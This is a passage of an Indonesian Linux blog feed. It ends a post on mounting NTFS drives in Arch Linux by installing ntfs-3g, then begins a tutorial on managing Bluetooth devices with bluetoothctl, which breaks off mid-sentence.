&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Bagaimana solusinya?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ChatGPT&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;640&quot; src=&quot;/_astro/ss1.DZRDBSR4_ZeEkwJ.webp&quot; /&gt;&lt;figcaption&gt;ChatGPT&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah solusi yang ditawarkan oleh ChatGPT&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ChatGPT solutionss2&quot; loading=&quot;lazy&quot; width=&quot;623&quot; height=&quot;412&quot; src=&quot;/_astro/ss2.efXe8zPG_ZiIhn8.webp&quot; /&gt;&lt;figcaption&gt;ChatGPT solutionss2&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Result and Discussion&lt;a href=&quot;#result-and-discussion&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, mari kita aplikasikan saran dari ChatGPT:&lt;br /&gt;
“meng-&lt;em&gt;install&lt;/em&gt; paket &lt;strong&gt;&lt;code&gt;ntfs-3g&lt;/code&gt;&lt;/strong&gt;”.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Ss&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ntfs-3g&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Si&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ntfs-3g&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ntfs-3g&quot; loading=&quot;lazy&quot; width=&quot;612&quot; height=&quot;478&quot; src=&quot;/_astro/ss3.Virvp_Sn_Z1JynOm.webp&quot; /&gt;&lt;figcaption&gt;ntfs-3g&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Yap, paketnya ada di repo. Mari kita &lt;em&gt;install&lt;/em&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ntfs-3g&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ntfs-3g installation&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;440&quot; src=&quot;/_astro/ss4.Cqjw9eRv_2eelvw.webp&quot; /&gt;&lt;figcaption&gt;ntfs-3g installation&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sudah terpasang.&lt;/p&gt;&lt;p&gt;Sekarang, mari kita coba untuk me-&lt;em&gt;mounting&lt;/em&gt; kembali drive 2 (HDD)-nya, via Thunar &amp;amp; Terminal.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Terminal&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ntfs-3g&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;BERHASIL!&lt;/p&gt;&lt;p&gt;Bahkan, kita tidak perlu menambahkan opsi &lt;code&gt;-t ntfs-3g&lt;/code&gt;, jadi jika ingin &lt;em&gt;mounting&lt;/em&gt; drive/partisi NTFS, kita dapat langsung menuliskan perintah langsungnya saja:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mount&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/sda1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mounting NTFS&quot; loading=&quot;lazy&quot; width=&quot;489&quot; height=&quot;561&quot; src=&quot;/_astro/ss5.Dv_iT0TK_Z2dQnML.webp&quot; /&gt;&lt;figcaption&gt;mounting NTFS&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;File Manager&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Masih terkendala&lt;/strong&gt;.&lt;br /&gt;
Masih dalam perlu peninjauan kembali.&lt;br /&gt;
Beberapa opsi percobaan lain yang dapat dilakukan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mencoba mengakses drive/partisi dari file manager yang lain.&lt;/li&gt;
&lt;li&gt;Membuat entri di /etc/fstab.&lt;/li&gt;
&lt;li&gt;Mencari keterkaitannya dengan pengaturan Thunar.&lt;/li&gt;
&lt;li&gt;Mencari keterkaitannya dengan paket &lt;code&gt;gvfs&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Yang jelas, kita sudah dapat mengakses drive 2 (HDD) dengan normal.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Conclusion&lt;a href=&quot;#conclusion&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah beberapa kesimpulan artikel ini:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Kegagalan &lt;em&gt;mounting&lt;/em&gt; NTFS di terminal Archlinux disebabkan karena kita belum memiliki paket &lt;strong&gt;&lt;code&gt;ntfs-3g&lt;/code&gt;&lt;/strong&gt; sehingga perlu di-&lt;em&gt;install&lt;/em&gt; terlebih dahulu.&lt;/li&gt;
&lt;li&gt;Setelah meng-&lt;em&gt;install&lt;/em&gt; paket &lt;code&gt;ntfs-3g&lt;/code&gt;, &lt;em&gt;mounting&lt;/em&gt; drive / partisi NTFS dapat dilakukan baik dengan menambahkn opsi &lt;code&gt;-t ntfs-3g&lt;/code&gt; ataupun tidak.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Beberapa catatan artikel ini:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Meskipun paket &lt;code&gt;ntfs-3g&lt;/code&gt; sudah ter-&lt;em&gt;install&lt;/em&gt;, masih ada kendala tidak dapat mengakses eksternal drive / partisi NTFS via Thunar sehigga masih perlu dilakukan experimen lebih lanjut.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://chatgpt.com/&quot; target=&quot;_blank&quot;&gt;https://chatgpt.com/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>bluetoothctl: CLI Tool for Managing Bluetooth Devices</title><link>https://shangdi.github.io/posts/tech/bluetoothctl/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/bluetoothctl/</guid><description>The easiest way to connect your bluetooth devices via terminal in Linux.</description><pubDate>Sun, 23 Feb 2025 15:57:04 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt; adalah &lt;em&gt;utility&lt;/em&gt; yang digunakan untuk mengontrol perangkat wireless berbasis bluetooth via terminal&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Oleh karena &lt;em&gt;tool&lt;/em&gt; ini berbasis CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;) alias tidak memerlukan GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;) untuk dijalankan, maka &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt; memberikan kemudahan kepada kita (Linux user) dalam me-&lt;em&gt;manage&lt;/em&gt; perangkat bluetooth.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Catatan:&lt;/strong&gt;&lt;br /&gt;
Mengapa saya (dan mungkin teman-teman pengguna Linux serta para professional Linux) lebih menyukai aplikasi berbasis terminal? Tentu saja alasannya sederhana:
&lt;strong&gt;Karena aplikasi berbasis CLI adalah aplikasi yang tidak bergantung pada GUI&lt;/strong&gt;, maka itu berarti bahwa &lt;em&gt;tool&lt;/em&gt; tersebut dapat dijalankan pada &lt;em&gt;interface&lt;/em&gt; yang paling sederhana, misalnya ketika mode TTY seperti yang lumrah kita dapatkan, apalagi jika bekerja di server Linux.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Saya pernah menulis sedikit mengenai TTY, btw, berikut tautan artikelnya:&lt;/p&gt;
&lt;a href=&quot;/posts/tech/tty/&quot;&gt;&lt;div&gt;&lt;div&gt;Log in to Your System with (Stunning) TTY&lt;/div&gt;&lt;div&gt;TTY in which is the acronym of TeleTYpe is a cool thing you need to know as linux user as it also will give you myriad of advantages.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2024-07-17&lt;/span&gt;&lt;span&gt;tty&lt;/span&gt;&lt;span&gt;&lt;span&gt;#tty&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#login&lt;/span&gt;&lt;span&gt;#display manager&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;296&quot; src=&quot;/_astro/featured.DEaidTZ2_6fYGs.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;
&lt;section&gt;&lt;h2&gt;Prerequisites:&lt;a href=&quot;#prerequisites&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa hal yang perlu dipersiapkan sebelum mengoperasikan &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Meng-&lt;em&gt;install&lt;/em&gt; paket yang diperlukan (&lt;code&gt;bluez&lt;/code&gt;)&lt;a href=&quot;#1-meng-install-paket-yang-diperlukan-bluez&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pertama-tama, tentu saja kita perlu meng-&lt;em&gt;install&lt;/em&gt; paket &lt;code&gt;bluez&lt;/code&gt; karena &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt; ada di dalamnya:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install bluez&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy bluez&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install bluez&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install bluez&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Pastikan &lt;strong&gt;bluetoothd&lt;/strong&gt; sudah &lt;em&gt;running&lt;/em&gt;&lt;a href=&quot;#2-pastikan-bluetoothd-sudah-running&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;bluetoothd&lt;/strong&gt; adalah daemon bluetooth, semacam server yang meng-&lt;em&gt;handle&lt;/em&gt; per-bluetooth-an:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Menjalankan bluetooth hanya untuk session saat ini:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bluetooth&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Menjalankan bluetooth setiap kali login:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bluetooth&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melihat statusnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bluetooth&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika &lt;strong&gt;bluetoothd&lt;/strong&gt; sudah &lt;em&gt;running&lt;/em&gt;, berikut statusnya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;starting bluetoothd&quot; loading=&quot;lazy&quot; width=&quot;922&quot; height=&quot;641&quot; src=&quot;/_astro/ss1.CG7pxrPD_ZMiRPp.webp&quot; /&gt;&lt;figcaption&gt;starting bluetoothd&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;&lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt; Tutorial:&lt;a href=&quot;#bluetoothctl-tutorial&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah langkah-langkah penggunaan &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Masuk ke shell &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt;&lt;a href=&quot;#1-masuk-ke-shell-bluetoothctl&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bluetoothctl&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;entering bluetoothctl shell&quot; loading=&quot;lazy&quot; width=&quot;790&quot; height=&quot;191&quot; src=&quot;/_astro/ss2.CREPm0rA_1rKLYC.webp&quot; /&gt;&lt;figcaption&gt;entering bluetoothctl shell&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ketika masuk ke &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt;, kita dapat melihat controller-nya juga.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. &lt;em&gt;Scanning&lt;/em&gt; perangkat&lt;a href=&quot;#2-scanning-perangkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;scan&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;scanning active devices&quot; loading=&quot;lazy&quot; width=&quot;782&quot; height=&quot;499&quot; src=&quot;/_astro/ss3.C9PGpuGi_ZW6WAG.webp&quot; /&gt;&lt;figcaption&gt;scanning active devices&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tampak beberapa perangkat bluetooth ter-&lt;em&gt;scan&lt;/em&gt;. Namun, perangkat yang akan saya hubungkan adalah TWS atau headset bluetooth dengan MAC &lt;strong&gt;27:AB:34:8B:CD&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. &lt;em&gt;Connecting&lt;/em&gt; perangkat&lt;a href=&quot;#3-connecting-perangkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;27:AB:34:8B:CD:B1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;connecting the device&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;210&quot; src=&quot;/_astro/ss4.CJUnySlZ_ZDF0Ab.webp&quot; /&gt;&lt;figcaption&gt;connecting the device&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jika perangkat sudah terhubung dengan baik, maka seperti terlihat pada tangkapan layar, &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt; akan memberikan notifikasi &lt;strong&gt;“Connection Succesful”&lt;/strong&gt;. Selain itu, terlihat &lt;strong&gt;prompt&lt;/strong&gt;-nya juga berubah menyesuaikan dengan nama perangkat yang berhasil terhubung (di saya berubah menjadi &lt;strong&gt;TWS&lt;/strong&gt;).&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. &lt;em&gt;Disconnecting&lt;/em&gt; perangkat&lt;a href=&quot;#4-disconnecting-perangkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;disconnect&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;disconnecting&quot; loading=&quot;lazy&quot; width=&quot;752&quot; height=&quot;360&quot; src=&quot;/_astro/ss5.Dvm_8ixm_Ne7HX.webp&quot; /&gt;&lt;figcaption&gt;disconnecting&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jika sudah selesai menggunakannya, kita dapat men-&lt;em&gt;disconnect&lt;/em&gt; perangkat tersebut dengan mengetikkan perintah &lt;code&gt;disconnect&lt;/code&gt;, dan bila berhasil, &lt;strong&gt;&lt;code&gt;bluetoothctl&lt;/code&gt;&lt;/strong&gt; akan menampilkan status &lt;strong&gt;Succesful disconnected&lt;/strong&gt;. Selain itu, &lt;strong&gt;prompt&lt;/strong&gt;-nya juga akan kembali seperti semula.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. &lt;em&gt;Remove&lt;/em&gt; perangkat&lt;a href=&quot;#5-remove-perangkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;remove&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;27:AB:34:8B:CD:B1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perintah di atas digunakan untuk menghapus perangkat yang sudah pernah kita &lt;em&gt;pair&lt;/em&gt; sebelumnya. Ini dapat dilakukan terutama untuk &lt;em&gt;troubleshooting&lt;/em&gt; masalah yang mungkin saja bisa terjadi pada koneksi antara perangkat dengan bluetooth laptop/komputer kita. Jadi, untuk mengatasi masalah (misalnya, perangkat headset sudah terhubung ke bluetooth komputer, tapi suara tidak masuk), kita bisa terlebih dahulu menhapus perangkat terkait, kemudian menghubungkannya kembali.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Additional Notes:&lt;a href=&quot;#additional-notes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa catatan tambahan:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. &lt;em&gt;Pairing&lt;/em&gt; perangkat&lt;a href=&quot;#1-pairing-perangkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Perlu dicatat, tutorial ini saya tulis ketika saya sudah biasa menggunakan perangkat TWS sehingga baik-baik saja jika saya tidak memasukkan proses &lt;em&gt;pairing&lt;/em&gt; (alias setelah &lt;em&gt;scan&lt;/em&gt; langsung &lt;em&gt;connect&lt;/em&gt;). Mungkin, beberapa perangkat perlu dilakukan &lt;em&gt;pairing&lt;/em&gt; terlebih dahulu sebelum &lt;em&gt;connect&lt;/em&gt;, berikut 